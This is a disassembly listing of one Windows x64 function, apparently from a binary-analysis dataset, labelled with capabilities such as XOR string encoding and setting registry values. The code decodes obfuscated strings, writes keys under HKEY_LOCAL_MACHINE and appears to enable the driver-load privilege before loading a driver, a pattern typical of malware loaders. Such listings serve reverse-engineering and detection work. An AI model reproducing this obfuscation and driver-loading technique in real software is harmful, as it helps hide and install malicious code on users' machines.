Function at 0x14005c8c0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140112070]
xor rax, rsp
mov qword [rbp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xor r15d, r15d
mov qword [rsp + 0x78], r15
movups xmmword [rbp + 0x18], xmm0
mov byte [rbp - 0x80], r15b
mov byte [rsp + 0x30], 6
mov al, 0x5a
mov cl, reloc.WS2_32.dll_gethostname
movzx edx, cl
movzx r8d, al
xor r9d, r9d
xor al, 6
mov byte [rsp + 0x31], al
xor cl, 6
mov byte [rsp + 0x32], cl
xor dl, 6
mov byte [rsp + 0x33], dl
xor r8b, 6
mov byte [rsp + 0x34], r8b
mov byte [rsp + 0x35], r9b
lea r8, [0x1403bdaf0]
lea rdx, [rsp + 0x31]
lea rcx, [rbp - 0x18]
call fcn.14005a2c0
nop
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x38], r15b
lea rdx, [0x1403bffb0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x14005c972
lea rcx, [rbp - 0x38]
call fcn.140004740
nop
movdqa xmm0, xmmword [0x140101820]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140101980]
movdqu xmmword [rsp + 0x50], xmm1
mov dword [rsp + 0x60], 0x1b3422
mov rcx, r15
nop dword [rax]
movzx eax, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
movzx eax, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x42], al
add rcx, 2
cmp rcx, 0x22
jb 0x14005c9b0
mov byte [rsp + 0x63], 0
lea r8, [rbp - 0x38]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x58]
call fcn.14005a2c0
nop
movdqa xmm0, xmmword [0x140101a20]
movdqu xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [0x140101a40]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [0x140101990]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x2036303a
mov word [rsp + 0x74], reloc.WS2_32.dll_ntohs
mov rcx, r15
movzx eax, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x41], al
movzx eax, byte [rsp + 0x40]
xor byte [rsp + rcx + 0x42], al
add rcx, 2
cmp rcx, 0x34
jb 0x14005ca20
mov byte [rsp + 0x75], 0
lea r8, [rbp - 0x38]
lea rdx, [rsp + 0x41]
lea rcx, [rbp - 0x78]
call fcn.14005a2c0
nop
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
lea r8, [rsp + 0x78]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x14005caea
mov byte [rsp + 0x30], 0x64
mov al, 0x30
mov cl, 0x1d
mov dl, reloc.WS2_32.dll_sendto
mov r8b, 1
xor r9d, r9d
xor al, 0x64
mov byte [rsp + 0x31], al
xor cl, 0x64
mov byte [rsp + 0x32], cl
xor dl, 0x64
mov byte [rsp + 0x33], dl
xor r8b, 0x64
mov byte [rsp + 0x34], r8b
mov byte [rsp + 0x35], r9b
mov dword [rsp + 0x28], 4
lea rax, reloc.WS2_32.dll_accept
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x31]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x14005cc27
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, 0xc0000001
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x14005cb2a
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cb25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cd3b
call fcn.14006057c
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x14005cb75
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cb70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cd41
call fcn.14006057c
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14005cbc1
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cbbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cd47
call fcn.14006057c
nop
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14005cbfc
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cbf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005cd35
call fcn.14006057c
mov eax, ebx
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.140060520
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rsi, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae rsi, qword [rbp - 0x18]
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSACleanup
mov al, 0x3d
mov cl, Ordinal_26
mov dl, reloc.WS2_32.dll_setsockopt
mov r8b, reloc.WS2_32.dll_send
mov r9b, reloc.WS2_32.dll_recvfrom
mov r10b, 0x24
movzx r11d, dl
xor bl, bl
mov dil, 0x1c
xor r14d, r14d
xor al, 0x74
mov byte [rsp + 0x31], al
xor cl, 0x74
mov byte [rsp + 0x32], cl
xor dl, 0x74
mov byte [rsp + 0x33], dl
xor r8b, 0x74
mov byte [rsp + 0x34], r8b
xor r9b, 0x74
mov byte [rsp + 0x35], r9b
xor r10b, 0x74
mov byte [rsp + 0x36], r10b
xor r11b, 0x74
mov byte [rsp + 0x37], r11b
xor bl, 0x74
mov byte [rsp + 0x38], bl
xor dil, 0x74
mov byte [rsp + 0x39], dil
mov byte [rsp + 0x3a], r14b
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
lea r9d, [r14 + 2]
lea r8, [rsp + 0x31]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rsp + 0x78]
test eax, eax
jne 0x14005cae4
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [0x1403bff98]
lea r9, [rbp - 0x80]
xor r8d, r8d
mov dl, 1
lea ecx, [r14 + 0xa]
call rax
test eax, eax
js 0x14005caea
mov rax, qword [0x1403bff90]
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rbp + 8]
call rax
mov r8b, 1
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x18]
call qword [0x1403bffa8]
mov rax, qword [0x1403bff88]
lea rcx, [rbp + 0x18]
call rax
mov ebx, eax
jmp 0x14005caef
call fcn.1400a9fac
nop
call fcn.1400a9fac
nop
call fcn.1400a9fac
nop
call fcn.1400a9fac
int3